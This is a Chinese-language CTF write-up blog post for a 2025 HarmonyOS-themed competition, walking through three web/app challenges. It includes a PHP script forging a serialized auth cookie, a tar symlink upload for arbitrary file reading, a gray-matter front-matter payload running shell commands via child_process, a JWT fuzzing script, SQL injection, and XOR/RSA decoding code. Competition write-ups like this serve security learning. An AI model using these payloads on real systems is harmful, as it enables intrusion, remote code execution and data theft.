Featured image of post 2025鸿蒙ctfwp

2025鸿蒙ctfwp

2025鸿蒙ctfwp

Layers of Compromise

弱口令user/password123登入

cookie改admin登入

confidential_note.txt

1
2
            内部API令牌:  
            c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec                             

confidential_dev.txt

1
2
3
4
5
6
内部API端点:
 - status
 - config
 - debug (仅限本地访问)

 查看 /data/app/www/secrettttts/ 获取开发令牌。                            

访问secrettttts/token.txt

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
7f8a1a4b3c7d9e6f2b5s8d7f9g6h5j4k3l2m1n
--auth.php
if (isset($_COOKIE['auth_token'])) {
    $auth_data = unserialize(base64_decode($_COOKIE['auth_token']));
    if ($auth_data['username'] === 'dev' && 
        $auth_data['hash'] === md5('dev' . $CONFIG['auth_key'])) {
        return true;
    }
}
--
'username'=>'dev' 'auth_key' => 'S3cr3tK3y!2023'

伪造token

Exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
// 配置信息
$CONFIG = [
    'auth_key' => 'S3cr3tK3y!2023'
];

// 创建认证数据数组
$auth_data = [
    'username' => 'dev',
    'hash' => md5('dev' . $CONFIG['auth_key'])
];

// 序列化并编码
$serialized = serialize($auth_data);
$cookie_value = base64_encode($serialized);

// 输出结果
echo "生成的 auth_token Cookie 值为:\n";
echo $cookie_value . "\n\n";
?>
auth_token=YToyOntzOjg6InVzZXJuYW1lIjtzOjM6ImRldiI7czo0OiJoYXNoIjtzOjMyOiI1ZGEwYjcxNTZkZDk1ZGQ3ZjdlYmNlNjA4YTBhNDY2YiI7fQ==

image-20250608162810259

image-20250608162826847

image-20250608162840135

image-20250608162851925

cat,more,less都被过滤了,用nl

image-20250608162902431

Filesystem

下载源码

admin.controller.ts里面

1
const configFile = "/opt/filesystem/adminconfig.lock"

这条未知,还有app.module.ts里面

1
2
3
4
5
6
7
@Module({
  imports: [JwtModule.register({
    secret: 'xxxxxxxxxxxxxx',
    signOptions: {
      expiresIn: '7d'
    }
  }),

secret未知,看到index界面可以文件上传和下载,想到任意文件下载,但是过滤了./

上传文件支持zip,tar想到上传软链接然后下载进行任意文件读取

1
2
ln -s / malicious
zip --symlinks payload.zip malicious

zip好像不行,用tar

1
2
ln -s / malicious
tar -cvf 1.tar malicious

指向根目录后,任意文件读取,参考前面web1的路径读取

1
download?filename=upload_1749308551054/malicious/data/app/src/app.module.ts

image-20250607230441821

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import { Module } from '@nestjs/common';
import { AppController } from './app.controller';
import { AppService } from './app.service';
import {AdminController} from "./admin.controller";
import {JwtModule} from "@nestjs/jwt";
// import { SessionModule } from '@nestjs-plus/sessions';
import * as cookieParser from 'cookie-parser';
import {MulterModule} from "@nestjs/platform-express";

@Module({
  imports: [JwtModule.register({
    secret: 'sec_y0u_nnnnever_know',
    signOptions: {
      expiresIn: '7d'
    }
  }),
    MulterModule.register({
      dest: '/opt/uploads',
    })],
  controllers: [AppController, AdminController,],
  providers: [AppService],
})
export class AppModule {}

读到secret: 'sec_y0u_nnnnever_know'

1
download?filename=upload_1749308551054/malicious/data/opt/filesystem/adminconfig.lock
1
2
3
4
{
  "password": "hArd_Pa@s5_wd",
  "slogon": "Keep it up!"
}

然后/admin/login路由登入

获得jwt令牌,回去看源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
renderAdmin(req, res) {
        console.log(req.cookies);
        const token = req.cookies.token;
        if (!token) {
            return res.status(401).json({ message: '未授权' });
        }
        try {
            const decoded = this.jwtService.verify(token);
            const profile = gray.stringify(gray(decoded.slogon).content, { username: decoded.username });
            console.log(profile);
            res.render('admin', { "info": profile });
        }
        catch (error) {
            return res.status(401).json({ message: '无效的令牌' });
        }
    }

直接在jwt里面的slogon注入js代码看看能不能rce,参考https://github.com/simonhaenisch/md-to-pdf/issues/99

1
---js\n((require(\"child_process\")).execSync(\"ls\"))\n---RCE

image-20250607234031092

后面靶机炸了,换了好几次才搞出来

image-20250608001838727

无回显考虑写文件到uploads目录下读取,byd那个jwt官网有问题

image-20250608004313134

然后用前下任意文件读取来读

image-20250608004402035

image-20250608004932834

读到flag文件夹下的f1aGG313.txt文件

image-20250608004942740

1
---js\n((require(\"child_process\")).execSync(\"cat ../flag/f1aGG313.txt > /data/opt/uploads/1.txt\"))\n---RCE

image-20250608004919287

ezAPP_And_SERVER

下载附件是hap文件,改zip解压找abc文件,进jadx反编译

看到utils类的信息,很多混淆的信息丢给ai分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def xor_decode(text: str, key: str = "134522123") -> str:
    """
    使用XOR运算解码文本
    
    参数:
        text: 要解码的文本
        key: 解码密钥 
    
    返回:
        解码后的字符串
    """
    return "".join(
        chr(ord(char) ^ ord(key[i % len(key)]))
        for i, char in enumerate(text)
    )

def main():
    # 编码的API路径
    encoded_paths = {
        "api_user_uuid": "\u001eRD\\\u001dD\u0000\u001dP^]@TQFB\rFXW\t",
        "api_user_verify": "\u001eRD\\\u001dD\u0000\u001dTTGRYSU"
    }
    
    print("解码API路径:")
    for name, encoded in encoded_paths.items():
        decoded = xor_decode(encoded)
        print(f"{name}: {encoded!r} -> {decoded!r}")
    
    # 解码密钥
    secret = "FpBz\u0001ecH\n\u001bEzx\u0017@|SrAXQGkloXz\u0007ElXZ"
    decoded_secret = xor_decode(secret)
    print(f"\n密钥: {decoded_secret!r}")

if __name__ == "__main__":
    main()
1
2
3
4
5
解码API路径:
api_user_uuid: '\x1eRD\\\x1dD\x00\x1dP^]@TQFB\rFXW\t' -> '/api/v1/contacts?uid='
api_user_verify: '\x1eRD\\\x1dD\x00\x1dTTGRYSU' -> '/api/v1/getflag'

密钥: 'wCvO3WRz9*vNM%rMaApkerY^^jI6vXmh'

Userlist类里面找到一堆uid

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
obj3.__username = ObservedPropertySimplePU("", obj3, "username");
        r24 = [Object];
        r24[0] = createobjectwithbuffer(["uid", "f47ac10b-58cc-4372-a567-0e02b2c3d479"]);
        r24[1] = createobjectwithbuffer(["uid", "c9c1e5b2-5f5b-4c5b-8f5b-5f5b5f5b5f5b"]);
        r24[2] = createobjectwithbuffer(["uid", "732390b8-ccb6-41de-a93b-94ea059fd263"]);
        r24[3] = createobjectwithbuffer(["uid", "f633ec24-cfe6-42ba-bcd8-ad2dfae6d547"]);
        r24[4] = createobjectwithbuffer(["uid", "eb8991c8-9b6f-4bc8-89dd-af3576e92bdb"]);
        r24[5] = createobjectwithbuffer(["uid", "db62356d-3b99-4764-b378-e46cb95df9e6"]);
        r24[6] = createobjectwithbuffer(["uid", "8f4610ee-ee87-4cca-ad92-6cac4fdbe722"]);
        r24[7] = createobjectwithbuffer(["uid", "1678d80e-fd4d-4de3-aae2-cb0077f10c21"]);
        obj3.userList = r24;
        obj3.setInitiallyProvidedValue(arg1);
        obj3.finalizeConstruction();
        return obj3;

前面看出有jwt,写脚本爆破jwt

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
import requests
import jwt
import time
from typing import Dict, List


class JWTFuzzer:
    def __init__(self):
        self.target_url = "http://web-9c9e5f5823.challenge.xctf.org.cn"
        self.secret = self._xor_decode("FpBz\u0001ecH\n\u001bEzx\u0017@|SrAXQGkloXz\u0007ElXZ")
        self.test_uid = "c9c1e5b2-5f5b-4c5b-8f5b-5f5b5f5b5f5b"
        self.all_tokens = []  # 存储所有生成的JWT

    @staticmethod
    def _xor_decode(text: str, key: str = "134522123") -> str:
        """XOR解码工具方法"""
        return "".join(chr(ord(c) ^ ord(key[i % len(key)])) for i, c in enumerate(text))

    def _generate_jwt(self, payload: Dict, algorithm: str = "HS256", name: str = "") -> str:
        """生成JWT令牌并保存到列表"""
        token = jwt.encode(payload, self.secret, algorithm=algorithm)
        self.all_tokens.append({
            "name": name,  # 添加name字段
            "token": token,
            "payload": payload,
            "algorithm": algorithm
        })
        return token

    def _test_endpoint(self, token: str, config_name: str) -> None:
        """测试API端点并保留完整响应"""
        headers = {
            "Authorization": f"Bearer {token}",
            "Content-Type": "application/json",
            "User-Agent": "JWTFuzzer/1.0"
        }
        
        try:
            # 测试GET请求
            response = requests.get(
                f"{self.target_url}/api/v1/getflag",
                headers=headers,
                timeout=10
            )
            print(f"[{config_name}] GET -> {response.status_code}")
            print(f"Response: {response.text}")
            
            # 测试POST请求
            post_data = {"uid": self.test_uid}
            post_response = requests.post(
                f"{self.target_url}/api/v1/getflag",
                headers=headers,
                json=post_data,
                timeout=10
            )
            print(f"[{config_name}] POST -> {post_response.status_code}")
            print(f"Response: {post_response.text}")

        except Exception as e:
            print(f"[{config_name}] Request Failed: {str(e)}")

    def generate_jwt_variations(self) -> List[Dict]:
        """生成各种JWT变体"""
        test_cases = [
            # 基础测试
            {
                "name": "Basic JWT",
                "payload": {"uid": self.test_uid},
                "algorithm": "HS256"
            },
            # 带时间戳
            {
                "name": "With Timestamp",
                "payload": {"uid": self.test_uid, "iat": int(time.time())},
                "algorithm": "HS256"
            },
            # 管理员权限
            {
                "name": "Admin Role",
                "payload": {"uid": self.test_uid, "role": "admin"},
                "algorithm": "HS256"
            },
            # 过期时间
            {
                "name": "With Expiration",
                "payload": {
                    "uid": self.test_uid,
                    "iat": int(time.time()),
                    "exp": int(time.time()) + 3600
                },
                "algorithm": "HS256"
            },
            # 不同算法
            {
                "name": "HS512 Algorithm",
                "payload": {"uid": self.test_uid},
                "algorithm": "HS512"
            },
            # 空声明
            {
                "name": "Empty Claims",
                "payload": {},
                "algorithm": "HS256"
            },
            # 额外字段
            {
                "name": "Extra Fields",
                "payload": {"uid": self.test_uid, "is_admin": True, "debug": True},
                "algorithm": "HS256"
            }
        ]

        print(f"\n🔧 Generating {len(test_cases)} JWT variations")
        
        for case in test_cases:
            try:
                token = self._generate_jwt(
                    payload=case["payload"],
                    algorithm=case["algorithm"],
                    name=case["name"]  # 传递name参数
                )
                print(f"[{case['name']}] Generated JWT: {token}")
                self._test_endpoint(token, case["name"])
            except Exception as e:
                print(f"[{case['name']}] JWT Generation Failed: {str(e)}")
        
        return self.all_tokens

    def run(self) -> None:
        """运行完整的JWT模糊测试"""
        print("🚀 Starting JWT Fuzzer")
        print(f"🎯 Target: {self.target_url}")
        print(f"🔑 Secret: {self.secret}")
        print(f"🆔 Test UID: {self.test_uid}")
        print("=" * 60)
        
        # 生成并测试所有JWT变体
        tokens = self.generate_jwt_variations()
        
        # 输出所有生成的JWT
        print("\n📜 All Generated JWTs:")
        for i, token_info in enumerate(tokens, 1):
            print(f"\n[{i}] {token_info['name']}")
            print(f"Algorithm: {token_info['algorithm']}")
            print(f"Payload: {token_info['payload']}")
            print(f"Token: {token_info['token']}")


if __name__ == "__main__":
    fuzzer = JWTFuzzer()
    fuzzer.run()

随便拿一个测试

image-20250608205410062

发现这里uid可以sql注入,直接测试1=1就爆出admin的uid

image-20250608175055407

1
{"data":{"users":[{"uuid":"9d5ec98c-5848-4450-9e58-9f97b6b3b7bc","name":"admin","phone":"123-456-7890"},{"uuid":"f47ac10b-58cc-4372-a567-0e02b2c3d479","name":"Bob","phone":"987-654-3210"},{"uuid":"c9c1e5b2-5f5b-4c5b-8f5b-5f5b5f5b5f5b","name":"Charlie","phone":"555-555-5555"},{"uuid":"732390b8-ccb6-41de-a93b-94ea059fd263","name":"David","phone":"444-444-4444"},{"uuid":"f633ec24-cfe6-42ba-bcd8-ad2dfae6d547","name":"Eve","phone":"333-333-3333"},{"uuid":"eb8991c8-9b6f-4bc8-89dd-af3576e92bdb","name":"Frank","phone":"222-222-2222"},{"uuid":"db62356d-3b99-4764-b378-e46cb95df9e6","name":"Grace","phone":"111-111-1111"},{"uuid":"8f4610ee-ee87-4cca-ad92-6cac4fdbe722","name":"Hannah","phone":"000-000-0000"},{"uuid":"1678d80e-fd4d-4de3-aae2-cb0077f10c21","name":"Ian","phone":"123-123-1234"},{"uuid":"5845b71f-ebb6-4707-8199-a4e46acf351f","name":"Jack","phone":"456-456-4567"}]}}

image-20250608175223489

image-20250608175303413

回到前下的源码找到X-Sign

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
 public Object #~@0<@4*#(Object functionObject, Object newTarget, utils this, Object arg0) {
        i = "{\"data\":\"" + arg0 + "\"}";
        ldlexvar = _lexenv_0_0_;
        obj = ldlexvar.request;
        ldlexvar2 = _lexenv_0_1_;
        obj2 = createobjectwithbuffer(["method", 0, "extraData", 0, "header", 0]);
        obj2.method = import { default as http } from "@ohos:net.http".RequestMethod.POST;
        obj2.extraData = i;
        obj3 = createobjectwithbuffer(["Authorization", 0, "X-Sign", 0, "Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/ apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"]);
        ldlexvar3 = _lexenv_1_0_;
        obj4 = ldlexvar3.o0OO00O;
        ldlexvar4 = _lexenv_0_2_;
        ldlexvar5 = _lexenv_1_0_;
        obj3.Authorization = obj4(ldlexvar4, ldlexvar5.oo0Oo0(_lexenv_1_0_.Secret));
        CryptoJS = import { default as CryptoJS } from "@normalized:N&&&@ohos/crypto-js/index&2.0.0";
        MD5 = CryptoJS.MD5(i);
        obj3.X-Sign = MD5.toString();
        obj2.header = obj3;
        callthisN = obj(ldlexvar2, obj2);
        callthisN.then(#~@0<@4**#);
        return null;
    }

这里的X-sign逻辑是md5加密data请求体,前面还有部分混淆没解

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
def xor_decode(text: str, key: str = "134522123") -> str:
    return "".join(
        chr(ord(char) ^ ord(key[i % len(key)]))
        for i, char in enumerate(text)
    )

def main():
    encoded = {
        "1": "c`u\u0007\u0002\u0006\t",
        "2": "c`u\u0007\u0002\u0006\tNczpg\u0004",
        "3": "W_UR",
        "4": "|z}w{Xp|qVXE]Y[v\u000bD\u0001qudwtps|rre\rs\u007fx{qrT\u007fvscts\u0005ykF\u0004~a~J\u0001@\n\u0003YaD\u0001B\u0004K9\\DFUH\u001dyFDc[Fw\u0006\u0001guxsxaJ\u0007h\u0006]aGqGd[p[Dtd|\u0002\u0007\u0001dXYG}RPsAB~\u0005K@F|ZFYtW|\u007f?A\u0006~aG\u0006cN}dKV^XVDl\u0002j\u0002\u0005Cukxzzkkua\u0005d^\u001fRhP\u0004jkFZe\ruQwCUtYV~P~[DVVfc@@8y\u0006@G\u0000{Ea{{}ZeX\\xhCrYU~gaM~t\u0000\u0019^Fup\u007fdF\u0004q|`q\u001bS@tAA\u001cd\u0006\u001fzAB[\u007ftpeSz`P_8\n\bfAL\u000bykAt`Dl\u0007W\u0019\u007fDExr@y|Sf\u0003_HPd\u0005jf`[k_[Y\u001eY\u0003\u001aU\u000b|tg\u0005\u0003fAgiEDAw@vdsD;x\u001b\\|PrubUxe\u0002\u0005x\u001eVv~\u0000mrkzzww\u0003d\u007fXsBuur\u0001_zb]G\u0006\u0004\u000bu\u0003PvzJ~EfdDs|cE\u001eqp\u0000@>aE{usbpq",
        "5": "J\u0011UVF[^\\\u0011\u000b\u0011SPFT]ST\u0013N",
    }
    
    print("解码结果:")
    for name, code in encoded.items():  
        decoded = xor_decode(code)
        print(f"{name}: {code!r} -> {decoded!r}")

if __name__ == "__main__":
    main()
1
2
3
4
5
1: 'c`u\x07\x02\x06\t' -> 'RSA2048'
2: 'c`u\x07\x02\x06\tNczpg\x04' -> 'RSA2048|PKCS1'
3: 'W_UR' -> 'flag'
4: '|z}w{Xp|qVXE]Y[v\x0bD\x01qudwtps|rre\rs\x7fx{qrT\x7fvscts\x05ykF\x04~a~J\x01@\n\x03YaD\x01B\x04K9\\DFUH\x1dyFDc[Fw\x06\x01guxsxaJ\x07h\x06]aGqGd[p[Dtd|\x02\x07\x01dXYG}RPsAB~\x05K@F|ZFYtW|\x7f?A\x06~aG\x06cN}dKV^XVDl\x02j\x02\x05Cukxzzkkua\x05d^\x1fRhP\x04jkFZe\ruQwCUtYV~P~[DVVfc@@8y\x06@G\x00{Ea{{}ZeX\\xhCrYU~gaM~t\x00\x19^Fup\x7fdF\x04q|`q\x1bS@tAA\x1cd\x06\x1fzAB[\x7ftpeSz`P_8\n\x08fAL\x0bykAt`Dl\x07W\x19\x7fDExr@y|Sf\x03_HPd\x05jf`[k_[Y\x1eY\x03\x1aU\x0b|tg\x05\x03fAgiEDAw@vdsD;x\x1b\\|PrubUxe\x02\x05x\x1eVv~\x00mrkzzww\x03d\x7fXsBuur\x01_zb]G\x06\x04\x0bu\x03PvzJ~EfdDs|cE\x1eqp\x00@>aE{usbpq' -> 'MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6HXr1LSOx2q97lSv0p7z\nhqtgy/JwwWntE73TDKGMSx6Z5lRsDuVjBhuGPI050VkhtIgbAppM4xtsNhwkGfOK\ns4OSt7PzHVyglkgwX7X04qFZKNOYYDS6Um+gZb5XXwiQ8GcFqfEjbKbLjvegUWur\nH4sv3OpSIJOiTkhMZqCkfOTUxLF1+mwFDJVt5COQB/frFps/U5+OspjMGAVgORbn\n99Uuy9KZsGQwX2e+NvvIAtLNaW1lycP0XTQiXnhm+k1+g8MGS01TpUZtwuBrDUAw\nK/iNbCGQdKQ77J/dEO3YGYHKED2WKmApDGA0lNWou768D0dCHxOwUUwGIQw/CC1s\nTwIDAQAB'
5: 'J\x11UVF[^\\\x11\x0b\x11SPFT]ST\x13N' -> '{"action":"getflag"}'

RSA加密,直接搓脚本生成

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
import base64
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.backends import default_backend
from typing import Optional

class RSAEncryptor:
    """RSA加密工具类"""
    
    def __init__(self, public_key_pem: str):
        """
        初始化RSA加密器
        
        参数:
            public_key_pem: PEM格式的RSA公钥字符串
        """
        self.public_key = self._load_public_key(public_key_pem)
        
    @staticmethod
    def _load_public_key(public_key_pem: str):
        """加载PEM格式的公钥"""
        try:
            return serialization.load_pem_public_key(
                public_key_pem.encode(),
                backend=default_backend()
            )
        except ValueError as e:
            raise ValueError("无效的公钥格式") from e
    
    def encrypt(self, message: str, encoding: str = 'utf-8') -> str:
        """
        RSA加密消息
        
        参数:
            message: 要加密的原始消息
            encoding: 消息编码方式(默认utf-8)
            
        返回:
            Base64编码的加密结果字符串
        """
        try:
            ciphertext = self.public_key.encrypt(
                message.encode(encoding),
                padding.PKCS1v15()
            )
            return base64.b64encode(ciphertext).decode('utf-8')
        except Exception as e:
            raise RuntimeError(f"加密失败: {str(e)}")

def main():
    # RSA公钥
    PUBLIC_KEY_PEM = """
    -----BEGIN PUBLIC KEY-----
    MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6HXr1LSOx2q97lSv0p7z
    hqtgy/JwwWntE73TDKGMSx6Z5lRsDuVjBhuGPI050VkhtIgbAppM4xtsNhwkGfOK
    s4OSt7PzHVyglkgwX7X04qFZKNOYYDS6Um+gZb5XXwiQ8GcFqfEjbKbLjvegUWur
    H4sv3OpSIJOiTkhMZqCkfOTUxLF1+mwFDJVt5COQB/frFps/U5+OspjMGAVgORbn
    99Uuy9KZsGQwX2e+NvvIAtLNaW1lycP0XTQiXnhm+k1+g8MGS01TpUZtwuBrDUAw
    K/iNbCGQdKQ77J/dEO3YGYHKED2WKmApDGA0lNWou768D0dCHxOwUUwGIQw/CC1s
    TwIDAQAB
    -----END PUBLIC KEY-----
    """
    
    # 要加密的JSON数据
    message = '{"action":"getflag"}'
    
    try:
        # 创建加密器实例
        encryptor = RSAEncryptor(PUBLIC_KEY_PEM)
        
        # 执行加密
        encrypted_data = encryptor.encrypt(message)
        
        print("加密结果:")
        print(encrypted_data)
        
    except Exception as e:
        print(f"错误: {str(e)}")
        return 1
        
    return 0

if __name__ == "__main__":
    import sys
    sys.exit(main())

请求体

1
{"data": "DDbony24lOqINuerJvtjH/+0I2AsdrKWwFQlp24oZ6P/DzFUxp5r/++TdZpItijaDLVJwG5E3Cy6CSFYQhq/3sB6S9QOGQ2y3i1U5aJQ2N+sU/WpFg9D4eY9YR85T0TeKwV8wIHQPQu8a4YAYcvEY7/2gs0AU+ud8f+j+uVvlj0piv5phItu0HjRPQtX7Q1p6RjoE92M6MsRJVK9Db7MSTVRL0LwczSUueGHLi8fArA8lwGcfGsl2/KKpe8KtmorFTndkkiuV2QoAC1P+r3u7vH5GfmWnyBl+xrC3ZccIC4CnVptvy32DNJ1GlZWHFh7PtKZ7ok72tZcEZoyKC9s8w=="}

md5得到X-Sign

image-20250608175502294

1
85833e20b047b21daa90eee6c3c602b3

image-20250608175531159

Licensed under 9u_l3
使用 Hugo 构建
主题 StackJimmy 设计